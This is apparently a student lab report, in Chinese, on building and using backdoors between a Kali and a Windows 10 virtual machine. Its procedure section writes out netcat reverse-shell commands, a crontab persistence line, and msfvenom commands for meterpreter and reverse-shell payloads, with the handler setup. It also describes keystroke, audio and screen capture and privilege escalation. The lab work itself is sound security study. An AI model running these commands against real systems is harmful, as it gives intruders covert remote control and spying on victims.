1.实验内容
1.1 内容总结
后门:特指潜伏于操作系统中专门做后门的一个程序,“坏人”可以连接这个程序,远程执行各种指令。概念和木马有重叠。
netcat:一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
Meterpreter:一个能生成后门程序的平台,也有很多别的功能。
cron:linux下用来周期性的执行某种任务或等待处理某些事件的进程。
1.2 问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
在网上下载不安全的文件并运行。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
win:windows启动项,任务计划;
linux:cron启动。
(3)Meterpreter有哪些给你印象深刻的功能?
Meterpreter令我印象深刻的功能有自动生成shellcode,获取敏感信息和提权的功能。
(4)如何发现自己有系统有没有被安装后门?
排查系统自启动目录,注册表,计划任务等。
1.3 实践目标
(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
2.实验过程
2.1 环境准备
因为本次实验需要两台主机间进行操作,所以我准备了kali 32位虚拟机和windows10 64位虚拟机。查询各自的ip地址。
kali ip:192.168.206.128
windows ip:192.168.206.129
在windows上关闭安全防护和防火墙。安装netcat,socat。
2.2 使用netcat获取主机操作Shell,cron启动某项任务
windows获取linux shell
在Windows端启动ncat监听2416(学号)端口.\nc64.exe -l -p 2416
再在Linux虚拟机连接Windowsncat 192.168.206.129 2416 -e /bin/sh
获取成功。
linux获取windows shell
在Linux端启动ncat监听2416端口nc -l -p 2416
再在Windows连接Linux ncat.exe -e cmd.exe 192.168.206.129 2416
获取成功。
cron启动任务
使用windows连接kali shell,输入命令
echo "* * * * * echo \"20222416text\" > /home/kali/20222416.txt" >/var/spool/cron/crontabs/root
五个*号代表每分钟执行一次,将“20222416text”写入到20222416.txt文件中。echo" "代表要将这段代码写入root文件中。
通过crontab -l
可以看到代码已经成功写入。最好在kali重新启动一下crontab,否则有时候文件会生成不出来。
执行前的目录:
执行后的目录:
cron启动任务成功。
2.3 使用socat获取主机操作Shell, 任务计划启动
操作步骤同上面的linux获取windows shell相似。linux监听端口,windows发送cmd到linux上。在获取的windows shell上创建名为“20222416test”的任务计划,这个任务计划的目标是打开桌面上的cygwin安装程序。
任务计划运行的程序如下:
可以看到任务添加成功,每隔一分钟运行一次
任务计划执行成功
2.4 使用MSF meterpreter生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
使用MSF先在linux生成后门文件
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.206.128 LPORT=2416 -f exe > 20222416_backdoor.exe
我使用ncat传输的文件会有问题,所以我在windows使用socat监听等待传送文件
在linux发出传送
成功接收文件。
使用msfconsole
进入msf控制台,在linux设置监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.206.128
set LPORT 2416
在windows上启动后门文件
获取shell成功
2.5 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
在上面的步骤中已经可以使用后门程序了。在msf控制台继续输入命令来获取关键内容
获取音频内容
获取摄像头内容(由于虚拟机没有给予摄像头的权限所以获取失败)
获取键盘输入的内容。首先在windows上输入内容
然后获取
获取屏幕截图
检查是否为虚拟机
获取安装软件目录
输入getsystem
尝试提权
提权完成。
2.6 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
我将实践1的pwn1文件改名为“20222416pwnb”。使用msf生成需要的shellcode注入到文件中
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.206.128 LPORT=2416 -x /home/kali/Desktop -f elf > 20222416pwnb
使用msf控制台监听
在另一个终端中运行20222416pwnb文件
此时msf连接成功,使用ls可以看到桌面的所有文件
再尝试使用ifconfig查看ip
连接完成。
3.问题及解决方案
-
问题1:windows可以ping通kali,kali不能ping通windows
-
问题1解决方案:关闭windows防火墙。
-
问题2:windows在获取kali shell后修改cron后,root文件中也有了修改后的命令,但是kali没有生成预想的文件
-
问题2解决方案:重新在kali中启动一下crontab,例如输入
crontab -l
,然后cron就可以正常运行了。 -
问题3:传送的文件无法运行,windows提示不支持运行这个文件
-
问题3解决方案:首先我怀疑是文件生成的问题。在生成后门文件中加入了命令
-a x86 --platform windows
,使用ncat传送文件后仍然无法运行。检查文件后发现文件大小存在问题,于是怀疑是传输过程出了问题,但不知道问题在哪,于是才用socat传输文件,传输的文件大小正常,可以运行。 -
问题4:windows无法运行socat,提示缺失文件
-
问题4解决方案:在更换好几个网上的版本但仍然无法运行后,我打算上github下载。查看socat的github项目的说明(socat-1.8.0.1 for Windows),发现我没有安装cygwin。在第一次安装cygwin时,我没有安装一些必需要安装的包,因此还是运行失败,再次检查发现github项目文档中已经给出了运行socat需要安装的包,选择这些库进行安装后socat可以成功运行。这些库如下
4.学习感悟、思考
在本次实验中,我使用netcat和socat互相获取kali主机和windows主机的Shell,并对kali添加了cron定时任务、使用schtasks命令对windows添加任务计划,通过cron和任务计划我可以在合适的时机执行我想要的操作。在使用MSF生成后门程序并成功监听时,我见识到了MSF的强大功能:我可以远程获取主机的麦克风、摄像头、屏幕内容,也可以通过读取键盘输入来获取密码等隐私信息,还可以直接获取电脑上的信息,而且对于正在使用的用户来说几乎毫无感知。一旦电脑上安装了危险的后门程序,个人的信息就非常容易在不知不觉中泄露,在某些情况下,攻击者还可以破坏电脑的硬件。我记得在十年前上网的时候,网络上的资源非常多,什么都有,但是随便下载个文件都可能被360安全卫士报为威胁,网络上到处都是危险。现在没有那么多了,很少见到火绒给我报危险了。我认为这其中的原因有两点:一是现在的安全手段更多,更全面了;二是现在网络环境的后门程序病毒等威胁技术更高了,更加隐蔽了。无论在以前还是现在,我们都需要有安全意识,做好电脑的安全防护措施。